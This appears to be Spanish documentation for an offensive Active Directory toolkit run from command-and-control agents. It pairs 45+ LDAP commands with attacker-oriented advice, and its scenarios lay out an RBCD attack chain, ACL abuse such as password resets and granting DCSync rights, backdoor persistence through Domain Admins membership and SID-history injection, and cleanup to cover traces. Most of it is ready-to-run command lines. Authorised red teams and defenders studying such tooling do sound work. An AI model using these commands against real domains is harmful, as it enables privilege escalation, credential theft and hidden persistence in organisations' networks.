LDAP-BOF
El módulo LDAP-BOF proporciona un conjunto exhaustivo de BOFs para interactuar directamente con Active Directory a través del protocolo LDAP. Con más de 45 comandos organizados en operaciones GET, ADD, SET, MOVE y REMOVE, permite enumerar, crear, modificar y eliminar cualquier objeto del dominio. Todos los comandos se ejecutan bajo el prefijo ldap y están disponibles en agentes Beacon, Gopher y Kharon en Windows.
Flags Comunes
Todos los comandos de ldap aceptan los siguientes flags opcionales:
| Flag | Descripción |
|---|---|
-ou "OU=X,DC=domain,DC=local" | Ruta de la OU donde buscar |
-dc dc01.domain.local | FQDN del Domain Controller |
--ldaps | Usar LDAPS (puerto 636, cifrado). Obligatorio automáticamente en operaciones con contraseñas |
Si no se especifica -dc, el BOF auto-detecta el Domain Controller del dominio actual.
GET — Enumeración
ldap get-users
Lista todos los usuarios del dominio.
ldap get-users
ldap get-users -ou "OU=Employees,DC=corp,DC=local"
ldap get-users -a description,mail,lastLogon -dc dc01.corp.localCuándo usarlo: Primer paso de enumeración para obtener una lista completa de cuentas de usuario. Usa -a para obtener atributos adicionales como descripciones (a menudo contienen contraseñas anotadas).
ldap get-computers
Lista todos los equipos del dominio.
ldap get-computers
ldap get-computers -a operatingSystem,description
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"Cuándo usarlo: Para mapear la infraestructura del dominio e identificar servidores, estaciones de trabajo y sus sistemas operativos.
ldap get-groups
Lista todos los grupos del dominio.
ldap get-groups
ldap get-groups -a description,memberldap get-usergroups
Muestra todos los grupos a los que pertenece un usuario.
ldap get-usergroups jdoe
ldap get-usergroups "CN=Jane Doe,OU=Users,DC=corp,DC=local"
ldap get-usergroups admin01 -dc dc01.corp.localCuándo usarlo: Para evaluar los privilegios de un usuario comprometido. Identifica membresías en grupos privilegiados como Domain Admins, Enterprise Admins, etc.
ldap get-groupmembers
Lista todos los miembros de un grupo.
ldap get-groupmembers "Domain Admins"
ldap get-groupmembers "Remote Desktop Users" -dc dc01.corp.localCuándo usarlo: Para identificar cuentas de alto privilegio que podrían ser objetivos de ataque.
ldap get-object
Obtiene todos los atributos de un objeto del dominio.
ldap get-object jdoe
ldap get-object "CN=DC01,OU=Domain Controllers,DC=corp,DC=local"
ldap get-object jdoe --ldapsCuándo usarlo: Para un análisis profundo de un objeto específico. Revela todos los atributos incluidos los de seguridad.
ldap get-domaininfo
Obtiene información del dominio desde rootDSE: nivel funcional, naming contexts, versión del esquema.
ldap get-domaininfo
ldap get-domaininfo -dc dc01.corp.localCuándo usarlo: Para entender la configuración del dominio, nivel funcional (afecta qué ataques son posibles), y descubrir otros dominios en el bosque.
ldap get-maq
Consulta el valor de ms-DS-MachineAccountQuota (cuota de cuentas de equipo).
ldap get-maq
ldap get-maq -dc dc01.corp.localCuándo usarlo: Si el valor es > 0 (por defecto es 10), cualquier usuario del dominio puede crear cuentas de equipo. Esto es esencial para ataques RBCD donde necesitas una cuenta de equipo que controles.
ldap get-writable
Encuentra objetos sobre los que tienes permisos de escritura.
ldap get-writable
ldap get-writable --detailed
ldap get-writable -ou "OU=Servers,DC=corp,DC=local" --detailedCuándo usarlo: Comando crítico para descubrir rutas de ataque basadas en ACLs. Si puedes escribir en un objeto, puedes potencialmente modificar sus atributos para escalar privilegios (ej: agregar delegación, modificar SPN, cambiar contraseña).
ldap get-delegation
Obtiene la configuración de delegación de un objeto.
ldap get-delegation svc_sql
ldap get-delegation WEB01$ -dc dc01.corp.localCuándo usarlo: Para identificar cuentas con delegación sin restricciones (Unconstrained), delegación restringida (Constrained) o RBCD configurada. Las cuentas con delegación son objetivos de alto valor.
ldap get-uac
Muestra los flags UAC (User Account Control) de un objeto.
ldap get-uac jdoe
ldap get-uac svc_backup -dc dc01.corp.localCuándo usarlo: Para identificar configuraciones peligrosas como DONT_REQ_PREAUTH (AS-REP Roasting), TRUSTED_FOR_DELEGATION (delegación sin restricciones), o PASSWD_NOTREQD.
ldap get-attribute
Obtiene valores de atributos específicos de un objeto.
ldap get-attribute jdoe objectSid,mail,description
ldap get-attribute DC01$ msDS-AllowedToDelegateToldap get-spn
Lista los SPNs registrados en un objeto.
ldap get-spn svc_mssql
ldap get-spn WEB01$ -dc dc01.corp.localCuándo usarlo: Para Kerberoasting — las cuentas con SPNs pueden ser atacadas para obtener sus hashes de contraseña.
ldap get-acl
Obtiene el descriptor de seguridad (DACL) de un objeto.
ldap get-acl jdoe
ldap get-acl "CN=AdminSDHolder,CN=System,DC=corp,DC=local" --resolve
ldap get-acl svc_account --resolve -dc dc01.corp.localCuándo usarlo: Comando crítico para auditar permisos. Con --resolve se muestran los nombres en lugar de SIDs. Busca permisos como GenericAll, WriteDacl, WriteOwner, GenericWrite sobre objetos de alto valor.
ldap get-rbcd
Obtiene la configuración de Resource-Based Constrained Delegation (RBCD).
ldap get-rbcd WEB01$
ldap get-rbcd DC01$ -dc dc01.corp.localCuándo usarlo: Para verificar qué cuentas tienen permiso para actuar en nombre de otros usuarios hacia este equipo.
ADD — Creación
ldap add-user
Crea un nuevo usuario en el dominio.
ldap add-user testuser 'P@ssw0rd!' -ou "OU=Users,DC=corp,DC=local"
ldap add-user newadmin 'C0mpl3x!' -fn John -ln Smith -email john@corp.local
ldap add-user svc_test 'SvcP@ss!' --disabledCuándo usarlo: Para crear una cuenta persistente controlada. La conexión siempre usa LDAPS automáticamente para operaciones con contraseñas.
ldap add-computer
Crea una nueva cuenta de equipo en el dominio.
ldap add-computer FAKEWKS01
ldap add-computer FAKEWKS01 -p 'MachineP@ss!' --ldaps
ldap add-computer FAKEWKS01 -ou "OU=Computers,DC=corp,DC=local"Cuándo usarlo: Esencial para ataques RBCD. Creas un equipo que controlas, luego configuras RBCD en el objetivo para que tu equipo pueda delegar. Verifica la cuota con get-maq primero.
ldap add-group
Crea un nuevo grupo en el dominio.
ldap add-group MiGrupo -desc "Grupo de prueba" -scope global
ldap add-group SvcAccounts -type security -scope domainlocalldap add-ou
Crea una nueva Unidad Organizativa.
ldap add-ou "OU=Testing,DC=corp,DC=local" -desc "OU de pruebas"
ldap add-ou NewOU -parent "OU=Projects,DC=corp,DC=local"ldap add-groupmember
Agrega un miembro a un grupo.
ldap add-groupmember "Domain Admins" jdoe
ldap add-groupmember "Remote Desktop Users" testuser -dc dc01.corp.localCuándo usarlo: Para escalar privilegios agregándote a grupos privilegiados cuando tienes los permisos necesarios (GenericAll, GenericWrite, o WriteDACL sobre el grupo).
ldap add-spn
Agrega un SPN a un objeto.
ldap add-spn svc_test MSSQLSvc/db01.corp.local:1433
ldap add-spn jdoe HTTP/web01.corp.localCuándo usarlo: Para configurar un SPN en una cuenta que controlas (necesario para ciertos ataques de delegación), o para hacer que una cuenta sea kerberoasteable.
ldap add-attribute
Agrega un valor a un atributo.
ldap add-attribute jdoe description "Cuenta de servicio"
ldap add-attribute WEB01$ info "Managed by IT"ldap add-uac
Agrega flags UAC a un objeto (sin eliminar los existentes).
ldap add-uac svc_test DONT_EXPIRE_PASSWD
ldap add-uac jdoe TRUSTED_FOR_DELEGATIONldap add-delegation
Agrega un SPN de delegación.
ldap add-delegation svc_web HTTP/app01.corp.localldap add-ace
Agrega una ACE (Access Control Entry) al DACL de un objeto.
ldap add-ace "CN=jdoe,OU=Users,DC=corp,DC=local" attacker GenericAll
ldap add-ace DC01$ jdoe WriteDacl -dc dc01.corp.local
ldap add-ace "DC=corp,DC=local" svc_test GenericAll -type allow -flags "CI,OI"Parámetros opcionales:
-type— Tipo de ACE:allow(por defecto) odeny-flags— Flags de herencia:CI(Container Inherit),OI(Object Inherit)-guid— GUID del tipo de objeto-inherit-guid— GUID del tipo de objeto heredado
Cuándo usarlo: Para establecer persistencia mediante ACLs. Otorga permisos sobre objetos de dominio que sobreviven a cambios de contraseña.
ldap add-rbcd
Configura Resource-Based Constrained Delegation (RBCD).
ldap add-rbcd WEB01$ FAKEWKS01$
ldap add-rbcd DC01$ MiEquipo$ -dc dc01.corp.localCuándo usarlo: Paso clave del ataque RBCD. Después de crear una cuenta de equipo (add-computer), configuras el equipo objetivo para que acepte delegación desde tu equipo controlado. Luego usas kerbeus s4u para obtener tickets de servicio como cualquier usuario.
ldap add-sidhistory
Agrega un SID al atributo sIDHistory de un objeto.
ldap add-sidhistory jdoe S-1-5-21-123456789-123456789-123456789-500
ldap add-sidhistory testuser Administrator -dc dc01.corp.localCuándo usarlo: Para inyectar el SID de un administrador en el historial SID de tu cuenta. El token de seguridad incluirá ambos SIDs, otorgándote acceso como si fueras ese administrador.
Macros ADD — Atajos
Comandos de conveniencia que simplifican operaciones comunes de escalación de privilegios.
ldap add-genericall
Otorga control total (GenericAll) sobre un objeto.
ldap add-genericall "CN=jdoe,OU=Users,DC=corp,DC=local" attackerldap add-genericwrite
Otorga escritura genérica (GenericWrite) sobre un objeto.
ldap add-genericwrite WEB01$ attacker -dc dc01.corp.localldap add-dcsync
Otorga permisos de DCSync (Replicating Directory Changes) sobre el dominio.
ldap add-dcsync "DC=corp,DC=local" jdoeCuándo usarlo: Permite ejecutar DCSync con la cuenta especificada para extraer todos los hashes del dominio sin necesidad de ser Domain Admin.
ldap add-asreproastable
Establece el flag DONT_REQ_PREAUTH en un usuario, haciéndolo vulnerable a AS-REP Roasting.
ldap add-asreproastable svc_legacy -dc dc01.corp.localldap add-unconstrained
Habilita delegación sin restricciones (TRUSTED_FOR_DELEGATION) en un objeto.
ldap add-unconstrained WEB01$ -dc dc01.corp.localldap add-constrained
Configura delegación restringida (Constrained Delegation) con SPNs específicos.
ldap add-constrained svc_web HTTP/app01.corp.local -dc dc01.corp.localSET — Reemplazo
Los comandos SET reemplazan el valor actual en lugar de agregarlo.
ldap set-password
Restablece o cambia la contraseña de un usuario.
# Reset de contraseña (como administrador, sin conocer la actual)
ldap set-password jdoe 'N3wP@ssw0rd!'
# Cambio de contraseña (como el propio usuario)
ldap set-password jdoe 'N3wP@ssw0rd!' -old 'OldP@ss!'Cuándo usarlo: Si tienes permisos de reset (GenericAll, ForceChangePassword) sobre una cuenta, puedes cambiar su contraseña sin conocer la actual. Siempre usa LDAPS automáticamente.
ldap set-spn
Reemplaza todos los SPNs de un objeto.
ldap set-spn svc_test MSSQLSvc/db01.corp.local:1433ldap set-delegation
Reemplaza los SPNs de delegación.
ldap set-delegation svc_web HTTP/app01.corp.localldap set-attribute
Reemplaza el valor de un atributo.
ldap set-attribute jdoe description "Updated description"ldap set-uac
Reemplaza todos los flags UAC. Precaución: reemplaza los flags existentes en lugar de agregar.
ldap set-uac jdoe NORMAL_ACCOUNT,DONT_EXPIRE_PASSWDldap set-owner
Cambia el propietario de un objeto. Requiere el permiso WriteOwner.
ldap set-owner "CN=TargetObject,DC=corp,DC=local" "CN=attacker,OU=Users,DC=corp,DC=local"Cuándo usarlo: Si tienes WriteOwner sobre un objeto, puedes hacerte propietario y luego darte GenericAll a ti mismo.
MOVE — Mover Objetos
ldap move-object
Mueve un objeto a una OU diferente. Opcionalmente renombra.
ldap move-object jdoe "OU=Disabled,DC=corp,DC=local"
ldap move-object WEB01$ "OU=Servers,DC=corp,DC=local" -n WEB01-OLD$REMOVE — Eliminación
ldap remove-groupmember
Elimina un miembro de un grupo.
ldap remove-groupmember "Domain Admins" compromised_userCuándo usarlo: Para limpieza post-operación — eliminar cuentas que agregaste a grupos privilegiados.
ldap remove-object
Elimina un objeto del dominio.
ldap remove-object testuser -ou "OU=Users,DC=corp,DC=local"
ldap remove-object FAKEWKS01$ -dc dc01.corp.localldap remove-spn
Elimina un SPN específico de un objeto.
ldap remove-spn svc_test MSSQLSvc/db01.corp.local:1433ldap remove-delegation
Elimina un SPN de delegación.
ldap remove-delegation svc_web HTTP/app01.corp.localldap remove-attribute
Elimina un atributo o un valor específico.
# Eliminar todo el atributo
ldap remove-attribute jdoe description
# Eliminar solo un valor específico
ldap remove-attribute jdoe description -value "Old value"ldap remove-uac
Elimina flags UAC de un objeto.
ldap remove-uac jdoe DONT_EXPIRE_PASSWD
ldap remove-uac svc_test DONT_REQ_PREAUTHldap remove-ace
Elimina una ACE del DACL de un objeto. Se puede filtrar por trustee, permisos, tipo o índice.
ldap remove-ace "CN=jdoe,OU=Users,DC=corp,DC=local" -trustee attacker
ldap remove-ace DC01$ -trustee jdoe -rights WriteDacl
ldap remove-ace "DC=corp,DC=local" -index 15ldap remove-rbcd
Elimina una delegación RBCD.
ldap remove-rbcd WEB01$ FAKEWKS01$Macros REMOVE
ldap remove-genericall "CN=target,DC=corp,DC=local" attacker
ldap remove-genericwrite WEB01$ attacker
ldap remove-dcsync "DC=corp,DC=local" jdoeEscenarios de Uso
1. Enumeración Inicial del Dominio
ldap get-domaininfo
ldap get-users -a description,lastLogon
ldap get-groupmembers "Domain Admins"
ldap get-groupmembers "Enterprise Admins"
ldap get-computers -a operatingSystem2. Descubrimiento de Rutas de Ataque
# Encontrar objetos sobre los que tienes escritura
ldap get-writable --detailed
# Auditar ACLs de objetos de alto valor
ldap get-acl "Domain Admins" --resolve
ldap get-acl "DC=corp,DC=local" --resolve
# Buscar delegaciones peligrosas
ldap get-delegation svc_sql
ldap get-uac svc_backup3. Ataque RBCD (Resource-Based Constrained Delegation)
# 1. Verificar que puedes crear equipos
ldap get-maq
# 2. Crear cuenta de equipo controlada
ldap add-computer FAKEWKS01 -p 'MachineP@ss!'
# 3. Configurar RBCD en el objetivo
ldap add-rbcd TARGET_SERVER$ FAKEWKS01$
# 4. Usar Kerbeus para obtener ticket como admin
kerbeus s4u /ticket:... /impersonateuser:Administrator /service:cifs/TARGET_SERVER.corp.local
# 5. Limpiar
ldap remove-rbcd TARGET_SERVER$ FAKEWKS01$
ldap remove-object FAKEWKS01$4. Abuso de ACLs
# Si tienes GenericAll sobre un usuario:
ldap set-password targetuser 'NewP@ss!'
# Si tienes WriteDACL sobre el dominio:
ldap add-dcsync "DC=corp,DC=local" miusuario
# Si tienes WriteOwner:
ldap set-owner "CN=target,DC=corp,DC=local" "CN=miusuario,OU=Users,DC=corp,DC=local"
ldap add-genericall "CN=target,DC=corp,DC=local" miusuario5. Persistencia
# Agregar usuario a grupo privilegiado
ldap add-groupmember "Domain Admins" backdoor_user
# Inyección de SID History
ldap add-sidhistory backdoor_user Administrator
# Persistencia vía ACLs (sobrevive cambios de contraseña)
ldap add-dcsync "DC=corp,DC=local" svc_persistent6. Limpieza Post-Operación
# Eliminar miembros de grupos
ldap remove-groupmember "Domain Admins" backdoor_user
# Eliminar ACEs agregadas
ldap remove-dcsync "DC=corp,DC=local" svc_persistent
ldap remove-genericall "CN=target,DC=corp,DC=local" miusuario
# Eliminar objetos creados
ldap remove-object FAKEWKS01$
ldap remove-object backdoor_user